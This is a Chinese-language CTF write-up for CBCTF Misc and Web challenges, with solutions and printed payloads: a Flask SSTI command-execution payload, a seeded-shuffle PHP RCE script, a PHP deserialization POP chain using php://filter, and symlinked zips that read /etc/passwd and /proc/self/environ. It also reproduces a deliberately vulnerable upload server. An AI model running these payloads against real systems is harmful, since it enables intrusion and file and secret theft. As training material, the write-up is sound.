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Misc

流量分析

题目描述

和往常一样，管理员悠闲地进行着日常的网站管理，然而狡猾的大黑阔却神不知鬼不觉地监听了一切…

flag格式：CBCTF{管理员的密码}

题解

下载附件，wireshark打开

查找post协议，发现password，得到flag
- CBCTF{ffb7567a1d4f4abdffdb54e022f8facd}

Wordplay

题目描述

I like wordplay very very very muchhhhhh

题解

下载附件，得到一个docx
发现存在多种不同的格式
- 红色，黑色，黄色
- 黑体，等线
- 1倍行间距，1.5倍行间距
分别以不同的属性进行转换为二进制，得到flag

XOR?

题目描述

嗨害嗨！flag已经被我重重加密了

题解

得到代码

import flag
import base64
#I can't tell you flag ,but i believe you can get it
mw = ""
for i in range(len(flag)):
    mw = mw + ord(flag[i]) ^ i
b64 = base64.b64encode(mw.encode('utf-8')).decode("utf-8")
print(b64)
#the b64 is MTAyIDEwOSA5OSAxMDAgMTI3IDkyIDEwNSAxMTQgODcgOTggMTAwIDU5IDEyMyA4MiA4NiA5NiA2NiA0OCA1MSAxMTA=

写脚本

mw = "102 109 99 100 127 92 105 114 87 98 100 59 123 82 86 96 66 48 51 110".split()
for i in range(len(mw)):
    print(chr(int(mw[i]) ^ i), end='')

flag
- flag{You_kn0w_XoR!!}

Web

SSTI

题解

python的SSTI
payload
- {{url_for.__globals__[‘os’].popen(‘cat ../../../flag’).read()}}
flag
- CBCTF{bf9a0577-90bb-4121-a91e-4d936581b9e3}

flappybird

题解

先玩两下，抓包，发现需要 10000 分

存在两个参数score和checkcode

伪造参数，改包得到flag
- cbctf{god_Of_flAppy_bird_0rays_yyds}

Warm_UP

Hint

靶机不出网

题解

php绕过，传入0e215962017

post传递命令，将文件内容写入test.txt，访问得到结果

flag
- CBCTF{2add1805-0995-4af3-a500-7ea22d792486}

随便注

题解

SQL注入，堆叠注入

Give_me_flag

题目描述

鼠标右键好像不管用了，F12？emmm。。。。

题解

view-source:https://xxx直接访问源代码

凯撒加密，得到flag
- flag{w7w_in2pEct_8t_g7od_j7B}

机器人也许知道

题目描述

终于完工啦，草草收工的1manity似乎忘了点什么？到底是什么呢？

题解

访问发现代码

结合题目，访问 robots.txt，得到账号密码

payload
- /?username=&password=1manity123123456456
flag
- CBCTF{Y0u4re_0ne_0f_tHe_Be3t_FresHmEn}

ezphp

题解

源代码

<?php
error_reporting(0);
highlight_file(__FILE__);
mt_srand(time());
$a = array("system",$_GET['cmd']);
for ($i=0;$i<=10000;$i++){
    array_push($a,"Ctfer");
}
shuffle($a);
$a[$_GET['b']]($a[$_GET['c']]);

大致意思，在列表中放入system和执行的命令，再插入10000 条Ctfer，然后打乱顺序，我们需要猜测system和cmd的位置来执行命令
其中mt_srand(time())设定了种子，在相同种子时，顺序是一样的，所以只需提前几秒获取位置即可执行命令

<?php

mt_srand(time() + 10);
$a = array("system","cat ../../../flag"); // 在这只放了最后的命令
for ($i=0;$i<=10000;$i++){
    array_push($a,"Ctfer");
}
shuffle($a);
var_dump($a);
echo array_search("system", $a);
echo ' ';
echo array_search("cat ../../../flag", $a);
?>

import os
import requests
import time
from base64 import b64encode
a = 'cat ../../../flag'
b = input('b: ')
c = input('c: ')
url = f"http://f4272e32-1f8c-4a31-91a7-f4b4c4fb258e.training.0rays.club:8001/?cmd={a}&b={b}&c={c}"
text = b64encode(requests.get(url).text.encode())

while True:
    response = requests.get(url)
    if b64encode(requests.get(url).text.encode()) != text and response.status_code == 200:
        print(response.text)
        with open(f"{b}.html", 'w') as w:
            w.write(response.text)  # 防止忘了上一步命令的结果...
        break

Ezpop

题解

源代码，考察pop反序列化,GC回收机制

<?php
class AAA {
    public $s;
    public $a;
    public function __toString()
    {
        $p = $this->a;
        return $this->s->$p;
    }
    function getFlag($flag)
    {
        return $flag;
    }
}

class BBB {
    private $b;
    public function __get($name)
    {
        if(preg_match("/Flag/i", $name)) {
            
            include($name($this->b)); //flag in ./flag.php
        }
        return '<br/>you can get it!!'; 
    }
}

class CCC {
    public $c;
    public function __destruct()
    {
        echo $this->c;
    }
}

if(isset($_GET['cbctf'])) {
    $a = unserialize($_GET['cbctf']);
    throw new Exception("let's go!!!");
} else {
    highlight_file(__FILE__);
}

payload

<?php
class AAA {
    public $s;
    public $a;
    public function __construct($s, $a)
    {
        
        $this->s = $s;
        $this->a = $a;
    }
    // public function __toString()
    // {
    //     $p = $this->a;
    //     return $this->s->$p;   // s = BBB
    // }
    // function getFlag($flag)
    // {
    //     return $flag;
    // }
}

class BBB {
    private $b;
    public function __construct($b)
    {
        $this->b = $b;
    }
    // public function __get($name)
    // {
    //     if(preg_match("/Flag/i", $name)) {
            
    //         include($name($this->b)); //flag in ./flag.php
    //     }
    //     return '<br/>you can get it!!'; 
    // }
}

class CCC {
    public $c;
    public function __construct($c)
    {
        $this->c = $c;
    }
    // public function __destruct()
    // {
    //     echo $this->c;  // c = AAA
    // }
}

$bbb = new BBB("php://filter/read=convert.base64-encode/resource=./flag.php");
$aaa = new AAA($bbb, "AAA::getFlag");
$ccc = new CCC($aaa);
$se = array(0=>$ccc,1=>NULL);
$sera = serialize($se);
$sera = str_replace('1;N', '0;N', $sera);
echo urlencode($sera);
// echo serialize($se);
// $b = new BBB();
// $b -> getFlag;

flag
- CBCTF{Th1S_1S_1Z_P0p__FuN_114514_G0d}

zip_helper

题目描述

pankas写了个在线解压工具
应该没什么漏洞吧

题解

考察软链接

ln -s /etc/passwd passwd
zip --symlinks passwd.zip passwd

查看环境变量

ln -s /proc/self/environ env
zip --symlinks env.zip env

flag
- CBCTF{270b19fa-1ae5-49bb-aee5-190f841ee442}

题目源码

import hashlib
import os
import random
from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def index():
    return """<html>
<head>
<meta charset="utf-8">
<title>zip-helper</title>
</head>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    <label for="file">文件名：</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>

</body>
</html>"""

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ('zip')

@app.route('/upload', methods=['GET', 'POST'])
def read_flag():
    if request.method == 'POST':
        if 'file' not in request.files:
            return "No file part"
        file = request.files['file']
        
        if file.filename == '':
            return "No selected file"
        
        if file and allowed_file(file.filename):
            os.system("rm -rf uploads/*")
            filename = hashlib.sha1(file.filename.encode(encoding='utf-8')).hexdigest()
            rand = hashlib.sha1(random.randbytes(256)).hexdigest()
            file.save(f'uploads/{filename}')
            dir = f"uploads/{rand}"
            os.system(f'unzip -q uploads/{filename} -d {dir}')
            readResult = ""
            for root,dirs,files in os.walk(dir):
                for file in files:
                    with open(os.path.join(root,file), 'r') as f:
                        readResult += f.read()
            return readResult
        else:
            return "<h1>仅支持上传 .zip 文件</h1>"
        
    if request.method == 'GET':
        return "go!"

if __name__ == '__main__':
    app.run(port=80, host='0.0.0.0')

where is flag? gogogo!

题解

server.py

import hashlib
import os
import random
from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def index():
    return """<html>
<head>
<meta charset="utf-8">
<title>zip-helper</title>
</head>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    <label for="file">文件名：</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>

</body>
</html>"""

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ('zip')

@app.route('/upload', methods=['GET', 'POST'])
def read_flag():
    if request.method == 'POST':
        if 'file' not in request.files:
            return "No file part"
        file = request.files['file']
        
        if file.filename == '':
            return "No selected file"
        
        if file and allowed_file(file.filename):
            os.system("rm -rf uploads/*")
            filename = hashlib.sha1(file.filename.encode(encoding='utf-8')).hexdigest()
            rand = hashlib.sha1(random.randbytes(256)).hexdigest()
            file.save(f'uploads/{filename}')
            dir = f"uploads/{rand}"
            os.system(f'unzip -q uploads/{filename} -d {dir}')
            readResult = ""
            for root,dirs,files in os.walk(dir):
                for file in files:
                    with open(os.path.join(root,file), 'r') as f:
                        readResult += f.read()
            return readResult
        else:
            return "<h1>仅支持上传 .zip 文件</h1>"
        
    if request.method == 'GET':
        return "go!"

if __name__ == '__main__':
    app.run(port=80, host='0.0.0.0')

payload

{“Where_is_flag”:“here_is_flag”}
post

flag
- CBCTF{7e344780-3543-4872-8ae5-d460bb5c828c}

Misc

流量分析

题目描述

题解

Wordplay

题目描述

题解

XOR?

题目描述

题解

Web

SSTI

题解

flappybird

题解

Warm_UP

Hint

题解

随便注

题解

Give_me_flag

题目描述

题解

机器人也许知道

题目描述

题解

ezphp

题解

Ezpop

题解

zip_helper

题目描述

题解

题目源码

where is flag? gogogo!

题解

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